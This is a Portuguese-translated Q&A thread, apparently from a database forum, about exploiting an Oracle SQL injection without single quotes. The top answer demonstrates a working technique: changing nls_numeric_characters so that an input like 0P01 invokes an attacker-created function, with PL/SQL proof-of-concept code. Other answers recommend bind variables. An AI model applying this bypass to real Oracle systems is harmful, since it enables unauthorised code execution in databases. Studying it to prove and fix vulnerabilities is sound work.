Existe alguma maneira de quebrar a string e injetar SQL sem usar uma aspas simples no oracle?

12

Estou testando um aplicativo baseado em oracle e encontrei o seguinte código:

Consulta = "SELECT nome dos funcionários WHERE id = '" + PKID + "';"

isto é, a string de consulta contém aspas ao redor do valor PKID, obtido diretamente do URL.

Obviamente, essa é uma injeção clássica de SQL que está esperando para acontecer ... exceto que o aplicativo está por trás do CA SiteMinder, que impede que qualquer URL com uma única citação (de qualquer forma) seja passado para o aplicativo.

Existe alguma maneira de quebrar a string e injetar SQL sem usar uma aspas simples?

Edit: Desculpe, eu deveria ter sido mais claro - eu entendo como deve ser escrito, mas preciso convencer as pessoas de que é um problema explorável. No momento, porque está atrás do siteminder, que bloqueia aspas simples, por isso será uma correção de baixa prioridade.

jdsnape
fonte
1
você tentou usar uma variável de ligação?
JHFB
O que o @JHFB disse. Vincular variáveis ​​é uma prática padrão.
Philᵀᴹ

Respostas:

9

Sim, é possível executar um ataque de injeção SQL sem fornecer aspas no parâmetro

A maneira de fazer isso é com uma exploração relacionada ao modo como números e / ou datas são processados. Você pode especificar no nível da sessão qual é o formato de uma data ou número. Ao manipular isso, você pode injetar qualquer caractere.

Por padrão, no Reino Unido e nos EUA, uma vírgula é usada para indicar o separador de milhares em números e um ponto final para o ponto decimal. Você pode alterar esses padrões executando:

alter session set nls_numeric_characters = 'PZ';

Isso significa que "P" agora é o ponto decimal e "Z" é o separador de milhares. Então:

0P01

É o número 0,01. No entanto, se você criar uma função P01, a referência do objeto será selecionada antes da conversão numérica. Isso permite que você execute funções no banco de dados, oferecendo poderes crescentes, da seguinte maneira:

Crie uma função básica "obter pelo id":

create procedure get_obj ( i in number ) as
begin
  execute immediate 'select object_name from all_objects where object_id = ' || i;
end;
/

Crie também uma função P01 que faça algo indesejável (neste caso, apenas crie uma tabela, mas você entendeu):

create function p01 return number as
  pragma autonomous_transaction;
begin
  execute immediate 'create table t (x integer)';
  return 1;
end;
/

E estamos prontos para ir:

alter session set nls_numeric_characters = 'PZ';

SELECT * FROM t;

SQL Error: ORA-00942: table or view does not exist

exec get_obj(p01);

anonymous block completed

SELECT * FROM t;

no rows selected

Não há aspas em nenhum lugar, mas ainda conseguimos executar a função "oculta" P01 e criar a tabela t!

Embora isso possa ser difícil na prática (e possa exigir algum conhecimento / ajuda interno), isso mostra que você pode injetar SQL sem precisar de aspas. Alterar o nls_date_formatpode permitir que coisas semelhantes sejam feitas.

As descobertas originais para números foram de David Litchfield e você pode ler o artigo dele aqui . Você pode encontrar a discussão de Tom Kyte sobre como as datas podem ser exploradas aqui .

Chris Saxon
fonte
4

Você provavelmente pode sobrecarregar o tipo de dados que está usando, causando falha nessa instrução. Então o que vem depois pode potencialmente ser executado.

Talvez enviá-lo como uma matriz de bytes Unicode resolva o problema e tire você dessa declaração para outra.

Se houver um buraco aberto, ele será abusado. E bloquear todas as strings com uma única citação não é uma boa ideia, pois as pessoas com o sobrenome "O'Brian" não podem ser seus clientes (entre outros).

mrdenny
fonte
Eu acho que você quer dizer "buraco" e não "todo".
ypercubeᵀᴹ
1

Tente usar uma variável de ligação. Você pode declará-lo como um número e isso deve evitar uma injeção de SQL prejudicial.

ADIÇÃO: variáveis ​​de ligação também aumentam o desempenho e a escalabilidade porque o plano de consulta é compilado e armazenado para reutilização. Apenas mais uma coisa a acrescentar ao seu argumento. :)

JHFB
fonte
1
Ele não está perguntando sobre maneiras de impedir a injeção, mas sobre maneiras de abusar dela.
11113 Jeff
1
@jeff O OP também pede motivos para não usar esse tipo de código. O não uso de variáveis ​​de ligação destrói o desempenho, portanto, este é um bom motivo para sempre usá-las.
Vincent Malgrat
@Incinc Malgrat: "Não usar variáveis ​​de ligação destrói o desempenho" está errado. É verdade que a recompilação de uma instrução pode ser evitada usando variáveis ​​de ligação. Além disso, o conjunto compartilhado será inundado por várias instruções semelhantes se você não usar variáveis ​​de ligação. No entanto, o otimizador possui menos informações para a construção de um plano se alguém usar variáveis ​​de ligação em vez de valores literais. Há situações em que devem ser selecionados planos diferentes, dependendo dos valores das variáveis ​​de ligação (ou dos valores literais).
miracle173
@ miracle173 Claro que haverá exceções, mas não para uma pesquisa de chave primária como dado pelo OP, nunca mais =)
Vincent Malgrat